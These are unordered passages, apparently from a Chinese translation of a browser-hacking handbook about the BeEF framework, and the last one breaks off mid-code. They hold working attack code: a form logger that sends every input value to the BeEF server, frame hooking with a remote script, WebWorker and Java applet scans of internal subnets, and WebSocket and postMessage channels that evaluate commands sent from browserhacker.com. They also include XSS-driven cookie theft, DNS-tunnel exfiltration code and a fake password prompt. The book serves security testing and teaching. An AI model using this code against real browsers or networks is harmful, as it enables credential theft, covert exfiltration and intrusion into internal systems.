    {"text": "图 5-1 相对于屏幕的坐标 图 5-2 相对于视口的坐标 图 5-3 相对于页面的坐标 如果使用jQuery（如下面的代码所示），同样可以获取 pageX 和 pageY 变量，即相对于 <HTML> 开始处的坐标： $j(document).click(function(event) { alert(\"X: \"+event.pageX+\", Y: \"+event.pageY); } 除了简单的点击事件外，鼠标事件类型还包括： mousemove ——鼠标从元素上移动 mouseover ——鼠标移入元素的边界 mouseenter ——与 mouseover 类似，但事件不会冒泡至父元素 mouseout ——鼠标移出元素的边界 mouseleave ——与 mouseleave 类似，但事件不会冒泡至父元素 mousedown ——在元素上按下鼠标键 mouseup ——在元素上松开鼠标键 BeEF事件日志 默认状态下，BeEF会自动记录本章中提到的所有类型的事件。"},
    {"text": "通过使用jQuery的元素选择器，执行下面的代码，会在当前DOM中的所有表单的 submit 事件上绑定 beef.logger.submit() 函数： $j('form').submit( function(e) { beef.logger.submit(e); } }); beef.logger.submit() 函数通过遍历表单，取出所有输入框的值（包括隐藏元素），然后把它们发送回BeEF服务器： /** * 只要有表单提交，就将激发submit函数 */ submit: function(e) { try { var f = new beef.logger.e(); var values = \"\"; f.type = 'submit'; f.target = beef.logger.get_dom_identifier(e.target); for (var i = 0; i < e.target.elements.length; i++) { values += \"[\"+i+\"]\"; values +=e.target.elements[i].name; values +=\"=\"+e.target.elements[i].value+\"\\n\"; } f.data = 'Action: '+$j(e.target).attr('action'); f.data += ' - Method: '+$j(e.target).attr('method'); f.data += ' - Values:\\n'+values; this.events.push(f); } catch(e) {} } beef.logger.e 定义了一种简单的事件结构，它可以兼容各种事件类型，比如鼠标事件、键盘事件等，便于将各种事件以统一的形式传回BeEF服务器。"},
    {"text": "这个任务由 beef.browser.hookChildFrames() 函数完成，其代码如下： /** * 勾连当前窗口中的所有子框架 * 存在同源策略限制 */ hookChildFrames:function () { // 创建script对象 var script = document.createElement('script'); script.type = 'text/javascript'; script.src = '<%== @beef_proto %>://<%== @beef_host %>: <%== @beef_port %><%== @hook_file %>'; // 迭代子框架 for (var i=0;i<self.frames.length;i++) { try { // 添加勾连脚本 self.frames[i].document.body.appendChild(script); } catch (e) { } } } 在这个函数中，首先创建了一个 script 元素，最后遍历各个frame，并在各frame的body中插入该 script 。"},
    {"text": "Unknown 第 2 章 初始控制 攻击浏览器的第一步就是获得目标浏览器的控制权。这就像一只脚踏进门槛一样。虽然在实现最终的目标之前，还需要完成很多前期步骤，但这重要的第一步却是任何情况下都避免不了的。这一步是攻击浏览器方法体系中的初始控制阶段。 浏览器每执行一次来自服务器的指令，就会向你敞开一扇门，让你有机会取得对它的控制权。为了执行服务器返回的代码，浏览器必须承担一定的风险。此时，你必须制造一种情境，让浏览器运行你写的代码。做到这一点，才有机会进一步利用浏览器的功能。 初始控制阶段可能会碰到各种各样的情况。你可以用很多方法执行自己的指令，有的方法可能相当容易，而有的则可能需要多投入一些时间和精力。要获得控制权，最显而易见的方式就是让目标浏览器打开你的Web应用。 对于本章要讨论的技术，Web应用安全测试人员必须给予重视并且要透彻理解。事实上，其中很多都是大家熟悉的，或者说是在安全社区中被老生常谈的。 在浏览器能够执行你的指令之后，还必须明白自己不能做什么。下面我们先从第一阶段开始，看看如何获得初始控制。 Unknown 5.6 问题 (1) JavaScript有一个方法用于在已完成渲染的页面中重写HTML的内容，请描述该方法。 (2) 当需要捕获鼠标点击时，应该使用什么事件？ (3) 在IE中如何进行UI期望滥用，请举例。 (4) 怎样才能绕过IE的SmartScreen筛选器？ (5) 为什么软件升级提示容易被模仿？ (6) 你可以在哪些浏览器中进行标签劫持攻击？ (7) 简述使用Java小程序的优点及限制。你建议使用经过签名的版本还是未经签名的版本？ (8) 可以访问哪些资源以便检查当前浏览器是否使用了Tor？ (9) 使用浏览器进行录音的前提条件有哪些？ (10) 请简述CamJacking攻击。 要查看问题的答案，请访问本书网站 https://browserhacker.com/answers ，或者Wiley的网站 http://www.wiley.com/go/browserhackershandbook 。 Unknown 10.7 小结 本章讨论的技术主要针对网络设备和非HTTP协议。除了利用网络设备中的Web接口，攻击的重点都放在协议之间。 浏览器直接与IRC服务器通信并不是常规的使用情境，但正像我们看到的，这种用法是可能的。这种通信随着浏览器的发展成熟就不太可能了。这种攻击让浏览器与非HTTP服务实现通信，而且在某些情况下，通过几乎标准的利用方法就可以实现这种攻击。 使用协议间通信（IPC）和协议间利用（IPE）技术，可以对网络的软肋实施攻击。有时候，还可以不必考虑如何绕过防火墙等日益严密的边界安全机制。这种攻击无情地驳斥了“内网设备必然安全”的论调。 在这一章，我们还探讨了BeEF Bind payload。利用它可以与通过IPE控制的目标实现间接通信。BeEF Bind可以让攻击者在不引起防火墙警觉的情况下，在目标与浏览器间建立连接。这其实是一种与BeEF服务器通信的更隐秘的方式。 这些攻击大多致力于增强你对网络的访问权限，要么是通过实施未认证的修改，要么是通过利用额外的服务。这些技术很多还都处于刚刚萌芽的阶段，而在浏览器中对非Web协议实施跨域攻击，是安全研究人员会持续关注的一个重要领域。"},
    {"text": "此时要在浏览器中使用ping sweep功能。 我们知道，ping sweep一般在TCP/IP或ICMP层执行，而这个操作指的就是确定哪个IP地址是可以访问的。 可以通过很多方法在勾连浏览器中实现ping sweep，下面几节将分别介绍。"},
    {"text": "在这里，WebWorker执行的代码如下： var xhr_timeout, subnet; // 设置范围 // 下限 = 1 (192.168.0.1) // 上限 = 50 (192.168.0.50) // to_scan = 50 var lowerbound, upperbound, to_scan; var scanned = 0; var start_time; /* 配置来自初始化WebWorker的代码(上层)*/ onmessage = function (e) { xhr_timeout = e.data['xhr_timeout']; subnet = e.data['subnet']; lowerbound = e.data['lowerbound']; upperbound = e.data['upperbound']; to_scan = (upperbound-lowerbound)+1; // 调用scan()并发送请求 scan(); start_time = new Date().getTime(); }; function checkComplete(){ current_time = new Date().getTime(); // 检查当前时间对Chrome是必要的 // 因为有些XHR可能因为主机下线而需要较长时间才能返回 if(scanned === to_scan || (current_time - start_time) > xhr_timeout){ clearInterval(checkCompleteInterval); postMessage({'completed':true}); self.close(); //close the worker }else{ // 并不是所有XHR都会完成/超时 } } function scan(){ // 以下代码返回192.168.0. var c = subnet.split('.')[0]+'.'+ subnet.split('.')[1]+'.'+ subnet.split('.')[2]+'.'; function doRequest(url) { var d = new Date; var xhr = new XMLHttpRequest(); xhr.onreadystatechange = processRequest; xhr.timeout = xhr_timeout; function processRequest(){ if(xhr.readyState == 4){ var d2 = new Date; var time = d2.getTime() - d.getTime(); scanned++; if(time < xhr_timeout){ if(time > 10){ postMessage({'host':url,'time':time, 'completed':false}); } } else { // 主机不在线 } } } xhr.open(\"GET\", \"http://\" + url, true); xhr.send(); } for (var i = lowerbound; i <= upperbound; i++) { var host = c + i; doRequest(host); } } var checkCompleteInterval = setInterval(function(){ checkComplete()}, 1000); 针对选定范围内（如192.168.0.1到192.168.0.50）的每一个IP地址，这段代码都会发送一次XHR请求。"},
    {"text": "以下是WebWorker控制器的代码，用于协调多个工作进程： if(!!window.Worker){ // WebWorker代码 var wwloc = \"http://browserhacker.com/network-discovery/worker.js\"; var workersDone = 0; var totalWorkersDone = 0; var start = 0; // 并行执行的WebWorker的数量 var workers_number = 5; // 每0.5秒调用checkComplete() var checkCompleteDelay = 1000; var start = new Date().getTime(); var xhr_timeout = 5000; var lowerbound = 1; var upperbound = 50; // 用5秒为50个IP创建50个XHR var discovered_hosts = []; var subnet = \"192.168.0.0\"; var worker_i = 0; /* 产生新的WebWorker来在'start'位置处理数据检索 */ function spawnWorker(lowerbound, upperbound){ worker_i++; // 使用eval动态地创建WebWorker变量 eval(\"var w\" + worker_i + \" = new Worker('\" + wwloc + \"');\"); eval(\"w\" + worker_i + \".onmessage = function(oEvent){\" + \"if(oEvent.data['completed']){workersDone++;totalWorkersDone++;}else{\" + \"var host = oEvent.data['host'];\" + \"var time = oEvent.data['time'];\" + \"console.log('Discovered host ['+host+'] in ['+time+'] ms');\" + \"discovered_hosts.push(host);\"+ \"}};\"); eval(\"var data = {'xhr_timeout':\" + xhr_timeout + \", 'subnet':'\" + subnet + \"', 'lowerbound':\" + lowerbound +\", 'upperbound':\" + upperbound + \"};\"); eval(\"w\" + worker_i + \".postMessage(data);\"); console.log(\"Spawning worker for range: \" + subnet); } function checkComplete(){ if(workersDone === workers_number){ console.log(\"Current workers have completed.\"); console.log(\"Discovery finished on network \" + subnet + \"/24\"); clearInterval(checkCompleteInterval); var end = new Date().getTime(); //window.stop(); console.log(\"Total time [\" + (end-start)/1000 + \"] seconds.\"); console.log(\"Discovered hosts:\\n\" + discovered_hosts.join(\"\\n\")); }else{ console.log(\"Waiting for workers to complete...\" + \"Workers done [\"+workersDone+\"]\"); } } function scanSubnet(){ console.log(\"Discovery started on network \" + subnet + \"/24\"); spawnWorker(1, 50); spawnWorker(51, 100); spawnWorker(101, 150); spawnWorker(150, 200); spawnWorker(201, 254); } // 第一次调用 scanSubnet(); var checkCompleteInterval = setInterval(function(){ checkComplete()}, checkCompleteDelay); }else{ console.log(\"WebWorker not supported!\"); } 这段代码负责调试和启动个别的工作进程，包括使用 postMessage() 传递适当的信息。"},
    {"text": "以下代码展示了通过Java实现ping sweep的过程： import java.applet.Applet; import java.io.IOException; import java.net.InetAddress; import java.net.UnknownHostException; import java.util.ArrayList; import java.util.List; public class pingSweep extends Applet { public static String ipRange = \"\"; public static int timeout = 0; public static List<InetAddress> hostList; public pingSweep() { super(); return; } public void init(){ ipRange = getParameter(\"ipRange\"); timeout = Integer.parseInt(getParameter(\"timeout\")); } // JS中调用 public static int getHostsNumber(){ try{ hostList = parseIpRange(ipRange); }catch(UnknownHostException e){} return hostList.size(); } // JS中调用 public static String getAliveHosts(){ String result = \"\"; try{ result = checkHosts(hostList); }catch(IOException io){} return result; } private static List<InetAddress> parseIpRange(String ipRange) throws UnknownHostException { List<InetAddress> addresses = new ArrayList<InetAddress>(); if (ipRange.indexOf(\"-\") != -1) { // 多个IP，ipRange类似172.31.229.240-172.31.229.250 String[] ips = ipRange.split(\"-\"); String[] octets = ips[0].split(\"\\\\.\"); int lowerBound = Integer.parseInt(octets[3]); int upperBound = Integer.parseInt(ips[1].split(\"\\\\.\")[3]); for (int i = lowerBound; i <= upperBound; i++) { String ip = octets[0] + \".\" + octets[1] + \".\" + octets[2] + \".\" + i; addresses.add(InetAddress.getByName(ip)); } }else{ // 单个IP ipRange类似172.31.229.240 addresses.add(InetAddress.getByName(ipRange)); } return addresses; } // 验证主机是否在线，设置超时 private static String checkHosts(List<InetAddress> inetAddresses) throws IOException { String alive = \"\"; for (InetAddress inetAddress : inetAddresses) { if (inetAddress.isReachable(timeout)) { alive += inetAddress.toString() + \"\\n\"; } } return alive; } } 之后，可以使用如下代码，将上面的Java小程序注入勾连浏览器。 这里使用的是 beef.dom.attachApplet() 函数，与5.3.4节介绍的一样： var ipRange = \"192.168.0.1-192.168.0.254\"; var timeout = \"2000\"; var appletTimeout = 30; var output = \"\"; var hostNumber = 0; var internal_counter = 0; beef.dom.attachApplet('pingSweep', 'pingSweep', 'pingSweep', \"http://\"+beef.net.host+\":\"+beef.net.port+\"/\", null, [{'ipRange':ipRange, 'timeout':timeout}]); function waituntilok() { try { hostNumber = document.pingSweep.getHostsNumber(); if(hostNumber != null && hostNumber > 0){ // 查询小程序，取回有效主机 output = document.pingSweep.getAliveHosts(); clearTimeout(int_timeout); clearTimeout(ext_timeout); console.log('Alive hosts: '+output); beef.dom.detachApplet('pingSweep'); return; } }catch(e){ internal_counter++; if(internal_counter > appletTimeout){ console.log('Timeout after '+appletTimeout+' seconds'); beef.dom.detachApplet('pingSweep'); return; } int_timeout = setTimeout(function() {waituntilok()},1000); } } ext_timeout = setTimeout(function() {waituntilok()},5000); 把这段pingSweep Java小程序添加到勾连网页的DOM之后， document.pingSweep.getAliveHosts() 就会被调用。"},
    {"text": "Unknown 10.8 问题 (1) 描述一下如何取得攻击目标的内网IP地址以及为什么这一步很重要。 (2) 如果检测不到目标的内网IP地址，那么该如何识别它所在的子网呢？ (3) 为什么端口封禁是一个重要的安全机制？ (4) 如何验证所有浏览器都会封禁的TCP端口22、25和143实际上是开放的？ (5) 解释一下什么是NAT Pinning攻击。 (6) 实现了协议间通信后，是否绕过了SOP？ (7) 举例描述一下什么是协议间利用。 (8) 协议间利用有什么限制条件？ (9) 为什么BeEF Bind要分成两个阶段以及这两个阶段分别是什么？ (10) 为什么CORS对BeEF Bind而言非常重要？ 要查看问题答案，请访问本书网站 https://browserhacker.com/answers ，或者Wiley的网站 http://www.wiley.com/go/browserhackershandbook 。 Unknown 前言 内容介绍 看看你手中的这本书，它会让你了解我们每天都在用的Web浏览器可能遭受哪些攻击。当然，用这本书作为武器，也可以发起新的攻击。本书介绍的攻击技术围绕最主流的浏览器展开，偶尔也会提到几个非主流的。所谓主流浏览器，也就是Firefox、Chrome和Internet Explorer（以下简称“IE”）。必要的时候还会涉及现代移动浏览器，虽然移动浏览器不是我们的主要讨论对象，但书中涵盖的许多攻击技术有时候对它们同样适用。 攻击者和防御者都需要理解Web浏览器带给用户的危险。原因很简单：Web浏览器可能是21世纪迄今为止最重要的一种软件。它是人类访问网络空间最重要的门户。君不见，这个曾经笨拙的桌面软件，如今已经作为一个主要的应用程序进入了手机、游戏机，甚至不起眼的电视机里都有它的身影。Web浏览器堪称今日表现、检索和搜寻数据的“瑞士军刀”。自从Tim Berners-Lee爵士于1990年发明他的“可以做到的小Web浏览器”以来，这个软件的发展已经远远超过预期，成为当今世界最受世人关注的软件之一。 关于Web浏览器的全球用户数量，有各种各样的统计和说法。其实只要拿个烂笔头信手算算，就不难估计出这是一个多么庞大的数字。假如地球上有三分之一的人上网，那么浏览器用户基本就是23亿。再想一下，又会发现其中有一部分人还不止使用一个浏览器。他们在家里、单位和手机上都使用浏览器。就算没有史蒂芬·霍金的智商，也不难猜到这是多么惊人的数目。 既然Web浏览器的用户数量如此巨大，那么由此产生大量安全问题和漏洞利用机会也就不足为奇了。本书从黑客角度着眼，讲解如何攻击以及如何保护各种情形下的现代浏览器。"},
    {"text": "）类似地，如果随便一个社会人员向医院申请访问或探视任何病人，那医院会核实他们与病人是否关系密切——来自同一个家庭或来源——然后才能决定是否批准。"},
    {"text": "此时，这些站点可以使用 document.domain 属性，允许同一域名下的其他站点访问DOM。 要允许来自login.browservictim.com的代码访问store.browservictim.com中的表单，开发人员可以为同一根域名的两个站点都设置 document.domain 属性： document.domain = \"browservictim.com\" DOM中有了这条声明，SOP就对根域名下的所有页面开放了。 换句话说，属于browservictim. com域名的任何页面，都可以访问当前页面的DOM了。"},
    {"text": "可是，在针对根域名放开SOP之后，再想限制回去，就会引发错误： // 当前域: store.browservictim.com document.domain = \"browservictim.com\"; // Ok // 当前域: browservictim.com document.domain = \"store.browservictim.com\"; // Error 在这样放开SOP之前，开发人员应该了解这样做的可能后果。"},
    {"text": "如果是运营环境下，有人上线了wikidev.browservictim.com，那么这个新站点中的漏洞就会危及store.browservictim.com。 也就是说，如果攻击者能够利用未打补丁的漏洞，把恶意代码上传到wikidev子域，那么该代码就拥有了访问登录站点的权限。"},
    {"text": "如果browserhacker.com源返回以下响应首部，那么browservictim.com的每个子域都会打开与browserhacker.com的双向通信渠道： Access-Control-Allow-Origin: *.browservictim.com Access-Control-Allow-Methods: OPTIONS, GET, POST Access-Control-Allow-Headers: X-custom Access-Control-Allow-Credentials: true 第一个HTTP响应首部很好理解，其他几个分别指定了请求可以使用 OPTIONS 、 GET 或 POST 方法，并且要包含X-custom首部。"},
    {"text": "可以通过以下代码片段来解释： var url = 'http://browserhacker.com/authenticated/user'; var xhr = new XMLHttpRequest() xhr.open('GET', url, true); xhr.withCredentials = true; xhr.onreadystatechange = do_something(); xhr.send(); 前面的例子要取得/authenticated/user资源，要求通过凭证访问。"},
    {"text": "Adobe Flash提供了一种管理跨域通信的机制，就是不同的源都要在网站根目录下放一个crossdomain.xml文件，文件内容类似如下所示： <?xml version=\"1.0\"?> <cross-domain-policy> <site-control permitted-cross-domain-policies=\"by-content-type\"/> <allow-access-from domain=\"*.browserhacker.com\" /> </cross-domain-policy> 有了这个文件，browserhacker.com的所有子域就可以在应用中相互通信了。"},
    {"text": "4.1.4 通过界面伪装理解SOP 界面伪装 （UI redressing），简单地说，就是通过修改用户界面的视觉元素，达到掩盖实施恶意活动的目的。 在一个可见的按钮上面放一个透明的提交按钮，单击后执行恶意操作，或者改变光标位置，让用户的移动或单击操作不符合自己的预期，这些都属于界面伪装。"},
    {"text": "Unknown 1.7 问题 (1) 浏览器中的DOM都有哪些功能？ (2) 为什么说一个安全的浏览器抵得过全副武装的安全措施？ (3) 说说JavaScript和VBScript有哪些不同。 (4) 说出服务器可能降低浏览器安全性的三种方式。 (5) 什么是浏览器的攻击面？ (6) 描述一下你理解的沙箱。 (7) 浏览器在使用HTTPS通信时，代理可以看到通信内容吗？ (8) 说出三个与安全相关的HTTP首部。 (9) 为什么安全专家不认可健壮性法则？ (10) 只有IE有，而其他现代浏览器没有的脚本语言是什么？ 要查看问题答案，请访问本书网站 https://browserhacker.com/answers ，或者Wiley的网站 http://www.wiley.com/go/browserhackershandbook 。 Unknown 第 9 章 攻击Web应用 本章探讨如何在不违反SOP的情况下，通过勾连浏览器攻击Web应用。如果你控制了一个浏览器，而且该浏览器可以访问内网Web应用，那么这个Web应用就会成为一个可能的目标。 先想一想整个过程。过去，一般都认为内网的Web应用不必像互联网上的Web应用那样重视安全。既然应用处在不会被外网访问到的内网里，何苦还要考虑安全呢？事实上，本章将介绍很多技术，利用它们都可以从外网访问到内网中的目标。只要有被勾连的浏览器，就可以通过它找到内网中薄弱的攻击目标。 浏览器跨域请求资源的方法有很多种。而本章也有几节介绍利用SQL注入和XSS漏洞实施攻击的方法。本章最后几节更进一步，将演示如何定位那些暴露了远程代码执行缺陷的Web应用。 本章，我们将攻击面扩大到内网。通过浏览器代理实现攻击，又为攻击者打开一扇大门，让他们使用已有的攻击工具就可以达到前所未有的领域，或者轻松访问之前不可能访问的新资源。 本章介绍的方法不仅可以扩大攻击面，还可以让攻击者隐藏得更深，但同时拥有更大权限以访问无法路由的内网Web应用。闲话少说，马上开始吧！"},
    {"text": "2 Caniuse.com. (2013). WebRTC . Retrieved March 8, 2013 from http://caniuse.com/#search=webrtc 3.2.1 使用 XMLHttpRequest 轮询 XMLHttpRequest 对象非常适合作为默认的通信渠道，因为所有浏览器都支持它。"},
    {"text": "例如，在下面的代码示例中， exec_wrapper 就是一个闭包： var a = 123; function exec_wrapper(){ var b = 789; function do_something(){ a = 456; console.log(a); // 456 ->函数作用域 console.log(b); // 678 ->函数作用域 }; return do_something; } console.log(a); // 123 ->全局作用域 var wrapper = exec_wrapper(); wrapper(); 闭包 闭包，特别是在JavaScript中，是一种特殊对象，既包含函数，又包含创建函数的环境。"},
    {"text": "前面的代码中，最有意思的是在执行完 exec_wrapper() 后，你可能会觉得就不能再访问变量 b 了，特别是它还是在被 exec_wrapper() 返回的函数 do_something() 的外部定义的。"},
    {"text": "3 Mozilla. (2013). Closures . Retrieved March 8, 2013 from https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Closures 如果你想多次提交前面的代码，为了将新代码“限制”在它自己的函数中，将其逻辑封装到闭包中是必需的。"},
    {"text": "将命令模块添加到命令栈中 */ execute: function(fn) { this.commands.push(fn); }, /** * 轮询。 如果响应不等于0，调用execute_commands() */ get_commands: function() { try { this.lock = true; //轮询server_host以获得新命令 poll(server_host, function(response) { if (response.body != null && response.body.length > 0) execute_commands(); }); } catch(e){ this.lock = false; return; } this.lock = false; }, /** * 如果有的话，执行接收到的新命令 */ execute_commands: function() { if(commands.length == 0) return; this.lock = true; while(commands.length > 0) { command = commands.pop(); try { command(); } catch(e) { console.error(.message); } } this.lock = false; } 正如你所见，在 execute_commands() 函数中，如果命令栈不是空的，则每一项都会被弹出并执行。 之所以可以在try块中调用 command() ，是因为使用了闭包，即命令模块被封装在了自己的匿名函数中： execute(function() { var msg = \"What is your password?\"; prompt(msg); }); 匿名函数是指在运行时动态声明的没有名字的函数。"},
    {"text": "在注册事件处理器的时候，匿名函数的使用非常频繁，例如： aButton.addEventListener('click',function(){alert('you clicked me');},false); 在前面的命令模块进入目标浏览器的DOM，并调用 execute() 后，下面的JavaScript代码会成为命令栈中新的一层： function() { var msg = \"What is your password?\"; prompt(msg); } 最终，当运行 commands.pop() 并执行弹出的代码时，就会出现一个prompt对话框，显示 msg 的内容。"},
    {"text": "如果想让命令模块的执行彼此关联，让相邻的模块及输入相互依赖，比如后一个模块的输入依赖前一个模块的输出，那么FIFO的数据结构可能更合适。"},
    {"text": "BeEF服务器通过包含以下HTTP响应首部实现了这一点，它允许来自任何地方的跨域POST和GET请求： Access-Control-Allow-Origin: * Access-Control-Allow-Methods: POST, GET 在使用 XMLHttpRequest 对象发送跨域GET请求时，如果目标来源返回了前面的首部，那么浏览器就可以读取其全部HTTP响应。"},
    {"text": "IE的第8个和第9个版本通过 XDomainRequest 对象部分支持CORS，但在使用中存在如下限制 4 ： 4 Eric Law. (2010). XDomainRequest - Restrictions, Limitations and Workarounds . Retrieved March 8, 2013 from http://blogs.msdn.com/b/ieinternals/archive/2010/05/13/xdomainrequest-restrictions-limitations-andwork-arounds.aspx 仅完全支持HTTP和HTTPS；"},
    {"text": "5 Alex Russel. (2006). Comet: Low Latency Data for the Browser . Retrieved March 8, 2013 from http://infrequently.org/2006/03/comet-low-latency-data-for-the-browser/ 图 3-2 常见浏览器对WebSocket协议的支持 即使有些浏览器不支持，也有很多项目致力于为这些浏览器添加WebSocket兼容的功能。"},
    {"text": "Socket.io在客户端还是要依赖额外的JavaScript库，但为了保证可靠连接，会在运行时选择最可行的传输方式。 Socket.io会选择WebSocket协议、Adobe Flash Socket、AJAX长轮询和JSONP轮询等方式。"},
    {"text": "6 Socket.io. (2012). Socket.io . Retrieved March 8, 2013 from http://socket.io/#browser-support 以下代码展示了一个通过Ruby Web服务器连接勾连浏览器的简单例子。"},
    {"text": "7 Ilya Grogorik. (2009). EventMachine based WebSocket server . Retrieved March 8, 2013 from https://github.com/igrigorik/em-websocket 8 EventMachine Team. (2008). EventMachine . Retrieved March 8, 2013 from https://github.com/eventmachine/eventmachine/wiki require 'em-websocket' EventMachine.run { EventMachine::WebSocket.start( :host => \"0.0.0.0\", :port => 6666, :secure => false) do |ws| begin ws.onmessage do |msg| p \"Received:\" p \"->#{msg}\" ws.send(\"alert(1);\") end rescue Exception => e print_error \"WebSocket error: #{e}\" end end } 这段代码将在6666端口绑定WebSocket服务器，等待从客户端发来的消息。"},
    {"text": "var socket = new WebSocket(\"ws://browserhacker.com:6666/\"); socket.onopen = function(){ console.log(\"Socket open.\"); socket.send(\"Server, send me commands.\"); } socket.onmessage = function(msg){ f = new Function(msg.data); f(); console.log(\"Command received and executed.\"); } 如图3-2所示，并非所有浏览器都原生支持WebSocket API。"},
    {"text": "下面的代码可以用来确定浏览器是否支持WebSocket API或Mozilla的 MozWebSocket ： hasWebSocket: function() { return !!window.WebSocket || !!window.MozWebSocket; }, 如果返回 true ，则可以在JavaScript中使用WebSocket协议。"},
    {"text": "这种方法需要设置，首先必须在攻击服务器上托管一个IFrame的内容，在下面的例子中，攻击服务器是browserhacker.com： <html> <body> <b>Embed me on a different origin</b> <div id=\"debug\">Ready to receive data...</div> <script> window.addEventListener(\"message\", receiveMessage, false); function doClick() { parent.postMessage(\"Message sent from \" + location.host, \"http://browservictim.com\"); } var debug = document.getElementById(\"debug\"); function receiveMessage(event) { debug.innerHTML += \"Data: \" + event.data + \"\\n Origin: \" + event.origin; parent.postMessage(\"alert(1)\", event.origin); } </script> </body> </html> 然后，需要利用目标站点上的XSS隐患，假设目标站点为browservictim.com。"},
    {"text": "注意这里的 to_server IFrame和 post_msg() 、 receiveMessage() 函数： <div id=\"debug\"></div> <div id=\"ui\"> <input type=\"text\" id=\"v\" /> <input type=\"button\" value=\"Send to server\" onclick=\"post_msg();\" /> <iframe id=\"to_server\" src=\"http://browserhacker.com/postMessage_server.html\"></iframe> </div> <script type=\"text/javascript\"> window.addEventListener(\"message\", receiveMessage, false); var infoBar = document.getElementById(\"debug\"); function receiveMessage(event) { infoBar.innerHTML += event.origin + \": \" + event.data + \"\"; new Function(event.data)(); } function post_msg(domain) { var to_server = document.getElementById(\"to_server\"); to_server.contentWindow.postMessage(\"\" + eval(document.getElementById(\"v\").value), \"http://browserhacker.com\"); } </script> 在图3-3中，可以看到发送到browserhacker.com的browservictim.com域的cookie。"},
    {"text": "图 3-3 内嵌框架中攻击代码的断点 从browserhacker.com加载的代码接收到来自不同源的数据后，会以另外的JavaScript代码作响应，然后这段代码会在browservictim.com上，通过创建新 Function 被求值。"},
    {"text": "图3-5展示了各浏览器对 postMessage() 的支持情况。 图 3-5 常见浏览器支持 window.postMessage() 的情况 IE8到IE10只部分支持 postMessage() ，但完全支持WebSocket协议 9 。"},
    {"text": "9 Opera. (2012). An Introduction to HTML5 web messaging . Retrieved March 8, 2013 from http://dev.opera.com/articles/view/window-postmessage-messagechannel/ 3.2.5 使用DNS隧道通信 前面讨论的所有通信渠道都依赖HTTP协议。"},
    {"text": "WebSocket协议虽然例外，但其初始握手仍然依赖一次HTTP请求，被HTTP服务器作为一次更新 10 请求来解释，比如： 10 I. Fette and A. Melkinov. (2011). The Websocket Protocol . Retrieved March 8, 2013 from http://tools.ietf.org/html/rfc6455#section-11.2 GET /ws HTTP/1.1 Host: browserhacker.com Upgrade: websocket Connection: Upgrade Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ== Origin: http://browservictim.com Sec-WebSocket-Version: 13 这样倒也没什么问题，除非你不直接勾连浏览器，比如躲在一个会记录一切并且可能会检查内容的HTTP代理后面。"},
    {"text": "11 Securitywire. (2010). Iodine rules . Retrieved March 8, 2013 from http://wwwsecuritywire.com/snort_rules/iodine.rules Kenton Born在BlackHat 2010上展示了一项利用DNS对浏览器隐藏通信的技术 12 。"},
    {"text": "12 Kenton Born. (2010). Browser-based Covert Data Exfiltration . Retrieved March 8, 2013 from http://arxiv.org/pdf/1004.4357.pdf 你可以创建一个简单的基于DNS的单向隐蔽信道，把请求发送到设计好的域，而该域被你控制的DNS服务器解析。"},
    {"text": "如果你的DNS服务器能够解析browserhacker.com，那么只要发送一个对图片资源的请求就可以把数据发出去，比如 <img src=\"_encodedData_.browserhacker.com\"> 。"},
    {"text": "而生成 _encodedData_ 的JavaScript函数可以这样写： encode_data = function(str) { var result=\"\"; for(i=0;i<str.length;++i) { result+=str.charCodeAt(i).toString(16).toUpperCase(); } return result; }; var data = \"data_to_extrude_from_client_to_server\"; var _encodedData_ = encodeURI(encode_data(data)); console.log(_encodedData_); 之所以要使用以上代码，是因为域名中只允许包含数字字母及连字符（ - ）和点（ . ）。 encode_data() 执行的结果是把前面代码示例中的数据编码成像下面这样： 646174615F746F5F657874727564655F66726 F6D5F636C69656E745F746F5F736572766572 还有一个限制是FQDN（Fully Qualified Domain Name，完全限定域名）不能超过255个字符，包括点在内。 考虑到这一点，前面的代码可以再改进为如下所示： var max_domain_length = 255; var max_segment_length = max_domain_length - \"browserhacker.com\".length; var dom = document.createElement('b'); // 把字符串分割成块 String.prototype.chunk = function(n) { if (typeof n=='undefined') n=100; return this.match(RegExp('.{1,'+n+'}','g')); }; // 发送DNS请求 sendQuery = function(query) { var img = new Image; img.src = \"http://\"+query; img.onload = function() { dom.removeChild(this); } img.onerror = function() { dom.removeChild(this); } dom.appendChild(img); }; // 把消息切割成段 segments = _encodedData_.chunk(max_segment_length); for (seq=1; seq<=segments.length; seq++) { // 发送段 sendQuery(seq+\".\"+segments.length+\".\" + segments[seq-1]+\".browserhacker.com\"); } 根据你在攻击中使用的域名的长度及前面说到的FQDN限制，前面的代码片段可以把编码的数据切成这样的块： .EA.A9.8F.EA.A9.8C.EA.A9.8D.EA.A9.8A.EA.A9.8B 因为要发送的数据一般都不会少于5个字符，所以首先是分块。"},
    {"text": "var tunnel_domain = \"browserhacker.com\"; // DNS服务器的位置 var dom = document.createElement('b'); var messages = new Array(); var bits = new Array(); var bit_transfered = new Array(); var timing = new Array(); // 通过请求图片触发DNS查询 send_query = function(fqdn, msg, byte, bit) { var img = new Image; img.src = \"http://\" + fqdn + \"/favicon.ico\"; img.onload = function() { // 成功加载，因而位等于1 bits[msg][bit] = 1; bit_transfered[msg][byte]++; if (bit_transfered[msg][byte] >= 8) reconstruct_byte(msg, byte); dom.removeChild(this); } img.onerror = function() { // 加载失败，因而位等于0 bits[msg][bit] = 0; bit_transfered[msg][byte]++; if (bit_transfered[msg][byte] >= 8) reconstruct_byte(msg, byte); dom.removeChild(this); } dom.appendChild(img); }; // 构建请求并通过send_query发送 function get_byte(msg, byte) { bit_transfered[msg][byte] = 0 // 每次请求字节中的一位 for(var bit=byte*8; bit < (byte*8)+8; bit++){ // 设置消息数（十六进制） msg_str = (\"00000000\" + msg.toString(16)).substr(-8); // 设置位数（十六进制） bit_str = (\"00000000\" + bit.toString(16)).substr(-8); // 构建子域 subdomain = \"bit-\" + msg_str +\"-\" + bit_str; // 构建完整的域 domain = subdomain + '.' + tunnel_domain; // 请求类似如此的域 // bit-00000002-0000003e.browserhacker.com send_query(domain, msg, byte, bit) } } // 构建环境并请求消息 function get_message(msg) { // 为取得消息设置变量 messages[msg] = \"\"; bits[msg] = new Array(); bit_transfered[msg] = new Array(); timing[msg] = Date.now(); get_byte(msg, 0); } // 构建二进制结果返回的数据 function reconstruct_byte(msg, byte){ var char = 0; // 构建请求的最后字节 for(var bit=byte*8; bit < (byte*8)+8; bit++){ char <<= 1; char += bits[msg][bit] ; } // 消息以空字节结束（失败的DNS请求） if (char != 0) { // 消息没有结束，取得下一字节 messages[msg] += String.fromCharCode(char); 